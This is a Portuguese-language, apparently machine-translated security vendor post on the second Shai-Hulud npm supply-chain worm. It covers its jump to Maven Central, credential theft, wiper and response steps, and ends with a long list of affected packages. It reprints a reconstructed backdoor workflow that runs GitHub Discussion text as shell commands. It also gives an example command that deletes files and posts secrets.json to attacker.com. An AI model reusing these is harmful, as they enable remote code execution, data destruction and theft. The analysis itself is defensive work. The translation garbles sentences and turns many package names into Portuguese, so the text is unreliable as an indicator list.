TL, DR
Em 24 de novembro de 2025, pesquisadores descobriram Shai Hulud: A Segunda Vinda, uma nova onda de Ataque à cadeia de suprimentos do NPM que reinfecta pacotes npm, rouba credenciais e se espalha pelas máquinas dos desenvolvedores e CI/CD pipelineAo contrário do primeiro incidente, esta versão instala o ambiente de execução Bun dinamicamente, implementa backdoors ocultos no GitHub Actions e inclui um programa destrutivo capaz de apagar diretórios home inteiros no Linux, macOS e Windows. Em poucas horas, o número de pacotes comprometidos ultrapassou 830, confirmando que esta não é uma simples variante, mas sim uma escalada significativa do problema. verme original.
ImpactoQualquer desenvolvedor ou executor de CI que instale pacotes npm públicos pode ter sido exposto. As equipes Java também correm risco, visto que os pacotes infectados foram replicados automaticamente no Maven Central.
Ações imediatas: Bloquear versões maliciosas conhecidas, impor instalações somente com arquivo de bloqueio, rotacionar credenciais do npm, GitHub e nuvem, remover executores auto-hospedados desconhecidos e monitorar indicadores de comprometimento (IoCs) como setup_bun.js, bun_environment.js e repositórios suspeitos do GitHub que contenham “Sha1-Hulud: The Second Coming”.
O que mudou: Shai Hulud no ataque à cadeia de suprimentos do NPM quando este migrou para o Maven
A segunda onda do ataque Shai Hulud representou uma grande escalada. Na primeira campanha, o worm permaneceu dentro do ecossistema npm. Desta vez, o malware ultrapassou os limites do ecossistema. Maven Central, expondo equipes Java que nunca sequer tocaram no npm.
Janela de Linha do Tempo e Token
O ataque começou em 24 de novembro de 2025 , pouco antes do npm desativar seus tokens de autenticação legados em Dezembro 9.
Esses tokens antigos eram mais fáceis de roubar e reutilizar. Como os atacantes ainda tinham acesso a eles durante esse período, conseguiram republicar centenas de versões maliciosas em alta velocidade antes do prazo final.
Como o malware chegou ao Maven
O salto entre registros ocorreu devido a mvnpm, uma ferramenta de espelhamento automatizada que converte pacotes npm em artefatos Maven.
O mvnpm não realiza verificações de segurança. Ele simplesmente reempacota tudo o que o npm publica.
Como um resultado:
- Um pacote npm comprometido (por exemplo) posthog-node@4.18.1)
- Foi convertido automaticamente em um artefato Maven.
org.mvnpm:posthog-node:4.18.1 - E foi publicado no Maven Central antes que alguém percebesse que estava infectado.
Isto significa Desenvolvedores Java foram vítimas de uma violação de segurança no npm., mesmo que nunca tenham instalado um pacote npm.
Porque Isto é Importante
Este é o primeiro worm conhecido com registro cruzado, onde um ataque à cadeia de suprimentos se espalha de um ecossistema para outro apenas por meio da automação.
Por causa disso, o raio de impacto agora inclui Java, cargas de trabalho da JVM e enterprise construir sistemas que dependem do Maven Central.
O que torna Shai Hulud 2.0 tão sério
Tempo de execução Bun usado para evitar detecção
Os atacantes migraram do Node.js para o ambiente de execução Bun. O malware instala o Bun dinamicamente através de setup_bun.js durante a instalação do pacote. Isso evita o monitoramento específico do Node e proporciona aos atacantes uma execução mais rápida de uma carga útil ofuscada muito grande.
GitHub Actions usado como backdoor de comando
Uma vez instalado, o malware cria um executor oculto do GitHub Actions hospedado no próprio servidor. $HOME/.dev-env/Isso funciona no Windows, macOS e Linux. Os atacantes podem executar comandos simplesmente postando mensagens em discussões do GitHub em um repositório comprometido. Um arquivo de fluxo de trabalho processa essas mensagens e as executa como comandos de shell.
Limpador embutido
Se o malware não conseguir autenticar-se com o GitHub ou o npm, ele apaga o diretório pessoal da vítima.
- No Windows, ele usa do, rd e cifra /W Apagar arquivos.
- No Linux e no macOS, ele sobrescreve os dados com retalhar e então remove os diretórios.
Uma campanha muito barulhenta
Embora o malware empregue algumas técnicas de furtividade (por exemplo, usando o Bun), a campanha como um todo está longe de ser discreta. Ele republica agressivamente pacotes comprometidos, cria centenas ou milhares de novos repositórios, carrega grandes quantidades de dados de credenciais e instala executores auto-hospedados de longa duração em máquinas de desenvolvedores. Nada disso é um comportamento discreto. A escala, a velocidade e a ostentação operacional deste ataque se destacam em comparação com a maioria das violações da cadeia de suprimentos, que tendem a priorizar permanecer invisíveis pelo maior tempo possível..
Amplo impacto
Os atacantes comprometeram diversos pacotes conhecidos com milhões de downloads mensais, incluindo:
Zapier, Domínios ENS, Postman, PostHog, AsyncAPI e Voiceflow.
Possíveis sinais de atribuição
A atribuição é difícil neste caso, e não há uma fonte confirmada por trás da campanha. Uma importante empresa de segurança observa que a operação se assemelha ao worm Shai-Hulud, mas as diferenças na forma como a carga útil é construída e como o malware se espalha apontam para a possibilidade de um grupo diferente de operadores. A avaliação da empresa destaca que vários ambientes baixaram os pacotes comprometidos antes que o npm os removesse, o que sugere uma exposição em um ambiente real, em vez de um teste de curta duração.
Dado que as táticas ecoam a primeira onda, mas divergem em pontos-chave, especialmente na estrutura da carga útil, na lógica de propagação e no "estilo" operacional, um cenário de imitação é plausível. Os atacantes podem ter se inspirado em ideias de Shai-Hulud, mas implementado suas próprias ferramentas. Isso poderia representar um grupo completamente diferente tentando imitar a campanha anterior.
Neste momento, não há evidências fortes que o liguem a qualquer ator conhecido, grupo com motivação financeira ou entidade estatal. A sobreposição com o worm original é real, mas as diferenças são suficientes para manter a atribuição na categoria "não confirmada".
Espalhar no Maven
Uma importante empresa de segurança confirmou que os pacotes npm maliciosos foram republicados automaticamente no Maven através de mvnpm, uma ferramenta que converte pacotes npm em artefatos Maven sem revisão manual.
O seguinte pacote foi enviado para o Maven Central: org.mvnpm:posthog-node:4.18.1
Como o mvnpm simplesmente reempacota tudo o que o npm publica, as versões infectadas foram replicadas no ecossistema Java antes que alguém percebesse.
O Maven Central removeu os artefatos afetados em 25 de novembro de 2025 e começou a reforçar os controles para evitar problemas semelhantes entre registros diferentes.
Isso significa que projetos Java sem conexão direta com o npm ainda poderiam ter sido expostos.
Como funciona o ataque Shai Hulud 2.0
Fluxo de infecção
- Um malicioso pré-instalação O script foi adicionado ao package.json.
- setup_bun.js Instala o Bun na máquina da vítima, caso esteja faltando.
- bun_environment.js (Mais de 480 mil linhas de código ofuscado) é executado em segundo plano.
- O malware busca credenciais usando técnicas semelhantes às do TruffleHog. Ele procura por
- Chaves AWS, GCP e Azure
- Tokens do GitHub
- tokens npm
- segredos do sistema CI
- Chaves AWS, GCP e Azure
- Os dados roubados são carregados em repositórios públicos do GitHub com a descrição “Sha1-Hulud: The Second Coming”.
- Utilizando tokens capturados, o malware publica versões comprometidas de pacotes, infecta repositórios acessíveis do GitHub e instala executores persistentes e auto-hospedados para execução remota de código.
Fluxos de trabalho maliciosos do GitHub
Durante a segunda onda do ataque à cadeia de suprimentos do NPM Shai-Hulud, o malware criado dois fluxos de trabalho ocultos do GitHub Actions dentro de repositórios comprometidos. Esses fluxos de trabalho permitem que os invasores executem código remotamente, tenham persistência a longo prazo e obtenham acesso total aos segredos do sistema.
1. Fluxo de trabalho de backdoor (discussion.yaml)
O fluxo de trabalho mais perigoso escuta Discussões do GitHub eventos. Quando uma mensagem de discussão é criada ou editada, o fluxo de trabalho lê o corpo da mensagem e a executa como um comando shell no computador da vítima.
A seguir, uma versão simplificada do fluxo de trabalho malicioso, reconstruído a partir de amostras observadas:
# .github/workflows/discussion.yaml name: Discussion Backdoor on: discussion: types: [created, edited] jobs: exec: runs-on: self-hosted steps: - name: Execute attacker command run: | echo "${{ github.event.discussion.body }}" | bash A linha crítica é:
${{ github.event.discussion.body }} Isso significa que o atacante pode postar qualquer comando em uma discussão do GitHub e o executor autohospedado o executa imediatamente. Como os executores autohospedados geralmente têm acesso a redes internas, credenciais de nuvem e segredos de CI, essa porta dos fundos concede ao atacante execução remota completa de código durante o ataque à cadeia de suprimentos do NPM de Shai Hulud.
Exploração de Injeção de Comandos
Este fluxo de trabalho explora a forma como o GitHub Actions processa expressões. Em vez de restringir a entrada a strings seguras, ele lê o conteúdo bruto da discussão e o envia diretamente para o shell. Como resultado, o atacante só precisa postar uma mensagem como:
rm -rf /important/folder curl -X POST https://attacker.com --data @secrets.json Como esse comportamento apareceu repetidamente durante o ataque Shai Hulud à cadeia de suprimentos do NPM, tornou-se um dos sinais mais claros de que o malware estava usando o GitHub Actions como um canal de comando remoto.
Os servidores que hospedam os próprios servidores pioram a situação porque:
- executar dentro das redes da empresa
- manter nuvem ou CI/CD Credenciais
- executar com as permissões do usuário
- Não possuem os recursos de sandbox ou isolamento do GitHub.
Isso fornece aos atacantes um canal de comando persistente para ambientes internos.
Fluxo de trabalho de coleta de segredos e sistemas
Além da porta dos fundos, o malware instala outro fluxo de trabalho cujo objetivo é coletar e armazenar dados confidenciais do sistema infectado.
Esses fluxos de trabalho reúnem:
- credenciais de nuvem
- variáveis ambientais
- listagens de diretório
- Escaneamentos secretos ao estilo TruffleHog
Eles armazenam os dados coletados em arquivos como:
- cloud.json
- environment.json
- conteúdo.json
- truffleSecrets.json
Esses arquivos são então carregados em repositórios do GitHub controlados pelo atacante, rotulados como “Sha1-Hulud: A Segunda Vinda”, onde foram observados centenas ou milhares de despejos de lixo.
Indicadores de compromisso
| Envie o | SHA256 |
|---|---|
| setup_bun.js | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| bun_environment.js | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
Outros sinais de alerta
- .github/workflows/discussion.yaml
- $HOME/.dev-env/ contendo corredores inesperados
- Repositórios públicos do GitHub criados em sua conta contendo “Sha1-Hulud: The Second Coming”
Métricas atualizadas (em 26 de novembro de 2025)
| métrico | Contar |
|---|---|
| Pacotes npm comprometidos | 830+ |
| Repositórios do GitHub infectados | 28,000+ |
| Arquivos secretos foram carregados | 5,000+ |
| Total de segredos coletados | 11,858 |
| Segredos válidos | 2,298 |
O que fazer agora: Respondendo ao ataque de Shai Hulud à cadeia de suprimentos do NPM
O ataque Shai Hulud à cadeia de suprimentos do NPM exige uma resposta rápida e estruturada. Como essa segunda onda se espalha pelo npm, GitHub, máquinas de desenvolvedores e até mesmo pelo Maven Central, as equipes devem agir rapidamente para detectar, conter e remediar completamente qualquer exposição. As etapas abaixo ajudam você a reagir na ordem correta e a reduzir o risco de novas vulnerabilidades.
Detecção
- Procure no GitHub por repositórios com a descrição “Sha1-Hulud: The Second Coming”.
- Procure por registros de instalação do Bun durante a instalação de pacotes.
- Inspecione os arquivos package.json em busca de scripts de ciclo de vida inesperados, especialmente pré-instalação.
- Verifique se $HOME/.dev-env/ em sistemas de desenvolvimento ou de integração contínua.
- Analise os registros de publicação do GitHub e do npm em busca de versões suspeitas.
Contenção
- Rotacione todas as credenciais: GitHub, npm, nuvem, segredos de CI e chaves de API.
- Desative e remova executores auto-hospedados desconhecidos.
- Bloquear temporariamente a criação de repositórios.
- Remova as versões infectadas do seu grafo de dependências.
Correção
- Limpe os sistemas afetados.
- Analise todos os fluxos de trabalho do GitHub Actions para arquivos injetados.
- Procure nos seus registros de CI por comandos ou execuções incomuns.
Recompile a partir de versões de pacotes comprovadamente funcionais.
Como Xygeni ajuda a impedir ataques como o da Segunda Vinda de Shai-Hulud
Após uma campanha tão agressiva quanto a Segunda Vinda de Shai-Hulud, as equipes precisam de mais do que verificações manuais. Elas precisam de proteção automatizada que bloqueie o malware antes que ele atinja os desenvolvedores, os executores de CI ou os sistemas de produção. É aqui que o Xygeni oferece uma grande vantagem.
Alerta Antecipado de Malware (MEW): Detecte ameaças antes que elas se espalhem.
O mecanismo de Alerta Antecipado do Xygeni analisa pacotes de código aberto novos e atualizados em tempo real. Ele sinaliza comportamentos suspeitos, como:
- JavaScript ofuscado ou código agrupado em grande quantidade
- Scripts de ciclo de vida que instalam ambientes de execução externos como o Bundler
- Conexões inesperadas com endpoints do GitHub, npm ou nuvem.
- Droppers que escrevem em
$HOME,.dev-env/ou pastas de fluxo de trabalho
A MEW detectou padrões usados em ambas as ondas de Shai-Hulud, o que ajuda as equipes a reagir antes que os atacantes espalhem ainda mais a infecção.
Guardrails in CI/CD bloquear pacotes maliciosos
Xygeni aplica guardrails que interrompem automaticamente operações inseguras:
- CI pipelineNão é possível instalar pacotes com scripts de pré-instalação ou pós-instalação ocultos.
- As compilações falham quando um pacote tenta criar fluxos de trabalho como
.github/workflows/discussion.yaml - Pipelinerejeitar dependências publicadas de fontes não confiáveis ou contas vistas pela primeira vez
Isso reduz drasticamente a superfície de ataque e impede que malware seja executado dentro de tarefas de CI (Integração Contínua).
A proteção Secrets reduz o raio da explosão.
Como o Shai-Hulud rouba chaves de nuvem, tokens do GitHub, tokens do npm e segredos de CI, a proteção também deve se concentrar nas credenciais. Xygeni:
- Detecta segredos expostos em código, logs, fluxos de trabalho e arquivos de ambiente.
- Rotaciona automaticamente as credenciais de alto risco.
- Impõe tokens de curta duração para limitar comprometimento a longo prazo.
Mesmo que um invasor obtenha acesso inicial, as chaves roubadas tornam-se inúteis rapidamente.
Considerações finais: Por que o ataque de Shai Hulud à cadeia de suprimentos do NPM ainda importa
O Segunda Vinda de Shai-Hulud O incidente demonstra como é fácil para um indivíduo moderno se envolver em algo tão complexo. Ataque à cadeia de suprimentos do NPM podem se mover entre ecossistemas. Nesse caso, o malware migrou do npm para o Maven devido a ferramentas automatizadas de espelhamento como mvnpm republicaram pacotes comprometidos sem verificação. Como resultado, equipes Java ficaram expostas mesmo que nunca tenham usado o npm diretamente. Isso deixa claro que fluxos de trabalho entre registros diferentes precisam de revisão imediata e de medidas de segurança mais robustas.
Além disso, a escala e o comportamento desta campanha revelam como os atacantes operam atualmente. Em vez de permanecerem discretos, eles publicam centenas de pacotes de uma só vez, implantam executores ocultos no GitHub, roubam segredos em massa e até incluem um programa destrutivo de limpeza de dados caso algo falhe. Consequentemente, as revisões manuais não acompanham esse nível de automação e velocidade. As equipes precisam de proteção contínua e em tempo real no nível do pacote, do código-fonte e do ambiente de desenvolvimento. pipeline camadas.
Por que contínuo Pipeline Security Agora é essencial
Ataques como Segunda Vinda de Shai-Hulud continuará a evoluir. Portanto, prevenir a próxima onda exige controles que funcionem automaticamente dentro do sistema. CI/CDNão após a violação de segurança. A defesa moderna deve combinar detecção precoce de malware, validação rigorosa de dependências, aplicação de políticas e proteção de segredos, para que o código malicioso não consiga se propagar despercebido pelos ambientes de desenvolvimento.
A Xygeni apoia essa mudança fornecendo soluções automatizadas. guardrails em toda a cadeia de suprimentos de software. Identifica pacotes suspeitos antes da instalação, impõe versões seguras de dependências, bloqueia fluxos de trabalho inseguros, detecta segredos expostos e alerta sobre atividades incomuns. pipeline atividade. Como resultado, as equipes permanecem protegidas mesmo quando os ataques à cadeia de suprimentos se espalham rapidamente e ultrapassam as fronteiras do ecossistema.
Lista de pacotes comprometidos
Os pacotes afetados também podem ser consultados usando o #shai-hulud / #shai-hulud-segunda-vinda etiqueta dentro OpenSourceMalware.com
| Pacote | Versão |
|---|---|
| 02-eco | 0.0.7 |
| @accordproject/concerto-analysis | 3.24.1 |
| @accordproject/concerto-linter | 3.24.1 |
| @accordproject/concerto-linter-default-ruleset | 3.24.1 |
| @accordproject/concerto-metamodel | 3.12.5 |
| @accordproject/concerto-types | 3.24.1 |
| @accordproject/markdown-it-cicero | 0.16.26 |
| @accordproject/template-engine | 2.7.2 |
| @actbase/css-para-react-native-transform | 1.0.3 |
| @actbase/nativo | 0.1.32 |
| @actbase/servidor-node | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-postcode | 1.0.5 |
| @actbase/react-kakaosdk | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-channel | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer | 1.0.6 |
| @actbase/react-native-naver-Conecte-se | 1.0.1 |
| @actbase/react-native-simple-video | 1.0.13 |
| @actbase/react-native-tiktok | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7, 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2, 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/graphql-body-parser | 0.1.1 |
| @antstackio/json-para-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/minha-biblioteca-angular | 0.0.23 |
| @asyncapi/dotnet-rabbitmq-template | 1.0.2, 1.0.1 |
| @asyncapi/edavisualizador | 1.2.2, 1.2.1 |
| @asyncapi/go-watermill-template | 0.2.76, 0.2.77 |
| @asyncapi/java-template | 0.3.6, 0.3.5 |
| @asyncapi/keeper | 0.0.3, 0.0.2 |
| @asyncapi/php-template | 0.1.2, 0.1.1 |
| @asyncapi/python-paho-template | 0.2.15, 0.2.14 |
| @asyncapi/server-api | 0.16.25, 0.16.24 |
| @asyncapi/studio | 1.0.3, 1.0.2 |
| @asyncapi/componente web | 2.6.7, 2.6.6 |
| @browserbasehq/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/mcp-server-browserbase | 2.4.2 |
| @browserbasehq/sdk-functions | 0.0.4 |
| @browserbasehq/stagehand | 3.0.4 |
| @browserbasehq/stagehand-docs | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridemail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl | 0.1.14 |
| @commute/bloom | 1.0.3 |
| @commute/dados-de-mercado | 1.0.2 |
| @commute/market-data-chartjs | 2.3.1 |
| @dev-blinq/ai-qa-logic | 1.0.19 |
| @dev-blinq/cucumber-js | 1.0.131 |
| @dev-blinq/cucumber_client | 1.0.738 |
| @dev-blinq/ui-systems | 1.0.93 |
| @ensdomains/codificador-de-endereços | 1.1.5 |
| @ensdomains/lista negra | 1.0.1 |
| @ensdomains/buffer | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/ccip-read-dns-gateway | 0.1.1 |
| @ensdomains/ccip-read-router | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/content-hash | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-anchors | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/duran | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-archived-contracts | 0.0.3 |
| @ensdomains/ens-avatar | 1.0.4 |
| @ensdomains/ens-contracts | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validação | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock | 2.1.52 |
| @ensdomains/name-wrapper | 1.0.1 |
| @ensdomains/offchain-resolver-contracts | 0.2.2 |
| @ensdomains/op-resolver-contratos | 0.0.2 |
| @ensdomains/react-ens-address | 0.0.32 |
| @ensdomains/renovação | 0.0.13 |
| @ensdomains/renovação-widget | 0.1.10 |
| @ensdomains/registros-reversos | 1.0.1 |
| @ensdomains/server-analytics | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/registrador-de-subdomínios | 0.2.4 |
| @ensdomains/test-utils | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/unruggable-gateways | 0.0.3 |
| @ensdomains/vite-plugin-i18next-loader | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts | 2.0.1, 2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4, 1.4.5 |
| @everreal/web-analytics | 0.0.1, 0.0.2 |
| @faq-component/core | 0.0.4 |
| @faq-component/react | 1.0.1 |
| @fishingbooker/plugin-de-sincronização-de-navegador | 1.0.5 |
| @fishingbooker/react-loader | 1.0.7 |
| @fishingbooker/react-paginação | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @hover-design/core | 0.0.1 |
| @hover-design/react | 0.2.1 |
| @ifelsedeveloper/protocol-contracts-svm-idl | 0.1.2 |
| @ifings/sistema-de-design | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/componentes | 0.0.2 |
| @kvytech/habbit-e2e-test | 0.0.2 |
| @kvytech/anúncio-do-plugin-medusa | 0.0.8 |
| @kvytech/medusa-plugin-management | 0.0.5 |
| @kvytech/medusa-plugin-newsletter | 0.0.5 |
| @kvytech/medusa-plugin-product-reviews | 0.0.9 |
| @kvytech/medusa-plugin-promotion | 0.0.2 |
| @kvytech/web | 0.0.2 |
| @lessondesk/cliente de API | 9.12.3, 9.12.2 |
| @lessondesk/babel-preset | 1.0.1 |
| @lessondesk/cliente-api-do-grupo-electron | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/material-icons | 1.0.3 |
| @lessondesk/react-table-context | 2.0.4 |
| @lessondesk/ônibus escolar | 5.2.2, 5.2.3 |
| @livecms/live-edit | 0.0.32 |
| @livecms/nuxt-live-edit | 1.9.2 |
| @louisle2/core | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/firestore-repo-service | 1.0.1 |
| @markvivanco/app-version-checker | 1.0.2, 1.0.1 |
| @ntnx/passport-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/orbit-components | 1.2.9 |
| @orbitgtbelgium/time-slider | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/manipulador-de-erros | 1.2.2 |
| @posthog/agente | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @posthog/cli | 0.5.15 |
| @posthog/clickhouse | 1.7.1 |
| @posthog/core | 1.5.6 |
| @posthog/modo-ouriço | 0.0.42 |
| @posthog/ícones | 0.36.1 |
| @posthog/lemon-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @posthog/nuxt | 1.2.9 |
| @posthog/piscina | 3.2.1 |
| @posthog/plugin-contrib | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @posthog/rrdom | 0.0.31 |
| @posthog/rrweb | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-record | 0.0.31 |
| @posthog/rrweb-replay | 0.0.19 |
| @posthog/rrweb-snapshot | 0.0.31 |
| @posthog/rrweb-utils | 0.0.31 |
| @posthog/siphash | 1.1.2 |
| @posthog/mago | 1.18.1 |
| @postman/aether-icons | 2.23.4, 2.23.3, 2.23.2 |
| @postman/csv-parse | 4.0.5, 4.0.3, 4.0.4 |
| @postman/node-keytar | 7.9.6, 7.9.4, 7.9.5 |
| @postman/agente-de-túnel | 0.6.7, 0.6.6, 0.6.5 |
| @pradhumngautam/aplicativo comum | 1.0.2 |
| @pruthvi21/use-debounce | 1.0.3 |
| @quick-start-soft/quick-document-translator | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @quick-start-soft/quick-markdown-image | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-translator | 1.4.2509202331 |
| @quick-start-soft/quick-remove-image-background | 1.4.2511142126 |
| @quick-start-soft/quick-task-refine | 1.4.2511142126 |
| @relyt/claude-context-core | 0.1.1 |
| @seezo/servidor sdr-mcp | 0.0.5 |
| @seung-ju/próximo | 0.0.2 |
| @seung-ju/openapi-generator | 0.0.4 |
| @seung-ju/react-hooks | 0.0.2 |
| @seung-ju/react-native-action-sheet | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/medium-common | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3, 2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2, 1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @trigo/atrix | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @trigo/atrix-postgres | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @trigo/atrix-soap | 1.0.2 |
| @trigo/atrix-swagger | 3.0.1 |
| @trigo/expressões-bool | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @trigo/fsm | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/pathfinder-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @trpc-rate-limiter/cloudflare | 0.1.4 |
| @trpc-rate-limiter/hono | 0.1.4 |
| @varsityvibe/cliente de API | 1.3.36, 1.3.37 |
| @varsityvibe/utils | 5.0.6 |
| @varsityvibe/validation-schemas | 0.6.7, 0.6.8 |
| @vishadtyagi/calendário anual | 0.1.11 |
| @voiceflow/alexa-types | 2.15.60, 2.15.61 |
| @voiceflow/antrópico | 0.4.4, 0.4.5 |
| @voiceflow/api-sdk | 3.28.58, 3.28.59 |
| @voiceflow/backend-utils | 5.0.2, 5.0.1 |
| @voiceflow/tipos-base | 2.136.3, 2.136.2 |
| @voiceflow/body-parser | 1.21.2, 1.21.3 |
| @voiceflow/tipos-de-chat | 2.14.59, 2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1, 0.2.2 |
| @voiceflow/commitlint-config | 2.6.2, 2.6.1 |
| @voiceflow/comum | 8.9.1, 8.9.2 |
| @voiceflow/default-prompt-wrappers | 1.7.4, 1.7.3 |
| @voiceflow/dependency-cruiser-config | 1.8.12, 1.8.11 |
| @voiceflow/dtos-interact | 1.40.2, 1.40.1 |
| @voiceflow/criptografia | 0.3.3, 0.3.2 |
| @voiceflow/eslint-config | 7.16.4, 7.16.5 |
| @voiceflow/plugin-eslint | 1.6.2, 1.6.1 |
| @voiceflow/exceção | 1.10.2, 1.10.1 |
| @voiceflow/fetch | 1.11.1, 1.11.2 |
| @voiceflow/general-types | 3.2.23, 3.2.22 |
| @voiceflow/git-branch-check | 1.4.4, 1.4.3 |
| @voiceflow/google-dfes-types | 2.17.12, 2.17.13 |
| @voiceflow/google-types | 2.21.12, 2.21.13 |
| @voiceflow/husky-config | 1.3.1, 1.3.2 |
| @voiceflow/logger | 2.4.3, 2.4.2 |
| @voiceflow/métricas | 1.5.2, 1.5.1 |
| @voiceflow/comando-de-linguagem-natural | 0.5.2, 0.5.3 |
| @voiceflow/nestjs-common | 2.75.2, 2.75.3 |
| @voiceflow/nestjs-mongodb | 1.3.1, 1.3.2 |
| @voiceflow/nestjs-rate-limit | 1.3.3, 1.3.2 |
| @voiceflow/nestjs-redis | 1.3.1, 1.3.2 |
| @voiceflow/nestjs-timeout | 1.3.1, 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1, 1.1.2 |
| @voiceflow/openai | 3.2.2, 3.2.3 |
| @voiceflow/pino | 6.11.4, 6.11.3 |
| @voiceflow/pino-pretty | 4.4.2, 4.4.1 |
| @voiceflow/prettier-config | 1.10.2, 1.10.1 |
| @voiceflow/react-chat | 1.65.4, 1.65.3 |
| @voiceflow/runtime | 1.29.1, 1.29.2 |
| @voiceflow/runtime-client-js | 1.17.3, 1.17.2 |
| @voiceflow/sdk-runtime | 1.43.2, 1.43.1 |
| @voiceflow/provedor-de-secretos | 1.9.3, 1.9.2 |
| @voiceflow/semantic-release-config | 1.4.2, 1.4.1 |
| @voiceflow/serverless-plugin-typescript | 2.1.7, 2.1.8 |
| @voiceflow/slate-serializer | 1.7.4, 1.7.3 |
| @voiceflow/stitches-react | 2.3.3, 2.3.2 |
| @voiceflow/storybook-config | 1.2.2, 1.2.3 |
| @voiceflow/stylelint-config | 1.1.1, 1.1.2 |
| @voiceflow/test-common | 2.1.1, 2.1.2 |
| @voiceflow/tsconfig | 1.12.2, 1.12.1 |
| @voiceflow/tsconfig-paths | 1.1.5, 1.1.4 |
| @voiceflow/utils-designer | 1.74.19, 1.74.20 |
| @voiceflow/verror | 1.1.5, 1.1.4 |
| @voiceflow/vite-config | 2.6.2, 2.6.3 |
| @voiceflow/vitest-config | 1.10.3, 1.10.2 |
| @voiceflow/tipos-de-voz | 2.10.59, 2.10.58 |
| @voiceflow/voiceflow-types | 3.32.45, 3.32.46 |
| @voiceflow/widget | 1.7.18, 1.7.19 |
| @zapier/ai-actions | 0.1.20, 0.1.19, 0.1.18 |
| @zapier/babel-preset-zapier | 6.4.2, 6.4.1, 6.4.3 |
| @zapier/browserslist-config-zapier | 1.0.4, 1.0.3, 1.0.5 |
| @zapier/secret-scrubber | 1.1.5, 1.1.4, 1.1.3 |
| escudo de corvo de IA | 1.0.7 |
| arc-cli-fc | 1.0.1 |
| asyncapi-preview | 1.0.2, 1.0.1 |
| atrix | 1.0.1 |
| modelo de automação | 1.0.491 |
